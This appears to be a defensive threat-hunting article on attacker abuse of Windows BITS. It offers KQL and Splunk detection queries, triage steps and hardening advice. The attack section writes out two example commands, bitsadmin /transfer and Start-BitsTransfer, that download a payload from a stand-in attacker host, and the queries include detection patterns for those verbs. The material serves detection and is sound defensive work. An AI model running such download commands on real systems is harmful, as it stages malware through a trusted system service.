Why this matters now
Background Intelligent Transfer Service (BITS) is one of Windows' most trusted workhorses. It is the service Windows Update itself uses to download patches: it transfers files in the background, throttles itself politely, resumes after interruptions, and — critically — its jobs survive reboots. Attackers worked this out years ago. A single bitsadmin /transfer command or a one-line Start-BitsTransfer call pulls a payload down through a signed Microsoft binary, over a channel that most egress monitoring treats as benign operating-system noise. MITRE tracks this as T1197 — BITS Jobs, and it shows up in everything from commodity downloaders to APT staging chains. If you are not hunting BITS, you have a blind spot shaped exactly like a downloader.
How attackers abuse BITS
The pattern is almost always the same. Initial access — a malicious document macro, a scripted installer, a compromised remote session — drops a stager whose only job is to call BITS. The classic tool is bitsadmin.exe, the built-in command-line client: bitsadmin /transfer myjob /download /priority normal https://attacker.example/payload.exe C:\Users\Public\payload.exe. The PowerShell-native equivalent is Start-BitsTransfer -Source https://attacker.example/payload.exe -Destination C:\Users\Public\payload.exe. Either way, the download is performed by the BITS service (running as SYSTEM via svchost), not by the attacker's process — so process-level network telemetry attributes the connection to Windows itself. Jobs persist in the BITS queue and resume after reboot, which makes them a lightweight persistence-adjacent mechanism too: the payload finishes downloading even if the stager is killed. The tell is rarely the binary — it is the command line, the parent process, and the destination URL.
The KQL hunts
All queries target Microsoft Defender's DeviceProcessEvents table. Tune the lookback to your retention.
Hunt 1 — Every bitsadmin execution, with full command lines
Baseline first: in most estates bitsadmin.exe should almost never run. Any execution is worth a look.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName =~ "bitsadmin.exe"
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessAccountName
| order by TimeGenerated desc
Hunt 2 — BITS transfers pointing at external URLs
This is the money query: bitsadmin invocations that reference remote URLs or the transfer verbs attackers use.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where ProcessCommandLine has "bitsadmin"
| where ProcessCommandLine has_any ("http://", "https://", "/transfer", "/addfile", "/setnotifycmdline")
| extend Url = extract(@"https?://[^\s""']+", 0, ProcessCommandLine)
| summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated),
Executions = count()
by DeviceName, AccountName, Url, InitiatingProcessFileName
| order by Executions desc
Hunt 3 — PowerShell Start-BitsTransfer
The quieter variant. No bitsadmin.exe on disk activity at all — just a PowerShell one-liner.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Start-BitsTransfer"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunt 4 — BITS jobs spawned by unusual parents
Legitimate BITS usage is typically driven by updaters and management agents. A bitsadmin child of Word, Excel, a browser, or a script host is a different story.
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName =~ "bitsadmin.exe"
| where InitiatingProcessFileName !in~ ("svchost.exe", "services.exe", "tiworker.exe",
"usoclient.exe", "wuauclt.exe", "msiexec.exe")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Splunk equivalents
SPL 1 — Sysmon EventCode 1: bitsadmin process creation
index=windows EventCode=1 (Image="*bitsadmin.exe")
| stats count, min(_time) as first_seen, max(_time) as last_seen,
values(CommandLine) as cmdlines
by host, User, ParentImage
| sort - count
SPL 2 — Start-BitsTransfer and URL-bearing BITS commands
index=windows EventCode=1
((Image="*powershell.exe" OR Image="*pwsh.exe") CommandLine="*Start-BitsTransfer*")
OR (Image="*bitsadmin.exe" (CommandLine="*http*" OR CommandLine="*/transfer*"))
| table _time, host, User, Image, CommandLine, ParentImage
| sort - _time
Where available, also collect the Microsoft-Windows-BITS-Client/Operational channel: job-creation and transfer-completion events there give you the job owner and the full remote/local file pair without parsing command lines.
Triage: what to do when a hunt hits
First, list the live BITS queue on the host: bitsadmin /list /allusers /verbose shows every job, its owner, state, and the files it is moving. Match the job owner against the account in your hunt hit — a job owned by a user account but created from a script host is a red flag. Second, resolve the URL: check the domain's age, reputation, and whether it appears in proxy logs from other hosts. Third, find what the job already delivered: correlate DeviceFileEvents (or Sysmon EventCode 11) for files written to the destination path around the job's start time, then hash and detonate anything you find. Fourth, look for the stager: what created the job in the first place — walk the process tree back from the bitsadmin or PowerShell parent to the initial access vector. Finally, check whether the job already completed: a finished transfer followed by a new process spawning from the destination path means you are no longer hunting a downloader, you are hunting an infection.
Remediation and hardening
Cancel rogue jobs with bitsadmin /cancel (or reset the whole queue with bitsadmin /reset /allusers on a confirmed-compromised host), quarantine the downloaded payloads, and re-image if a completed transfer executed. Rotate credentials for any account the job ran under. Longer term: alert on bitsadmin.exe execution outside your patching and management tooling, log the BITS-Client operational channel centrally, and consider AppLocker or WDAC rules that keep script hosts and Office applications from launching bitsadmin.exe at all. BITS is infrastructure — treat its abuse like any other living-off-the-land technique: allowlist the legitimate uses, alert on everything else.
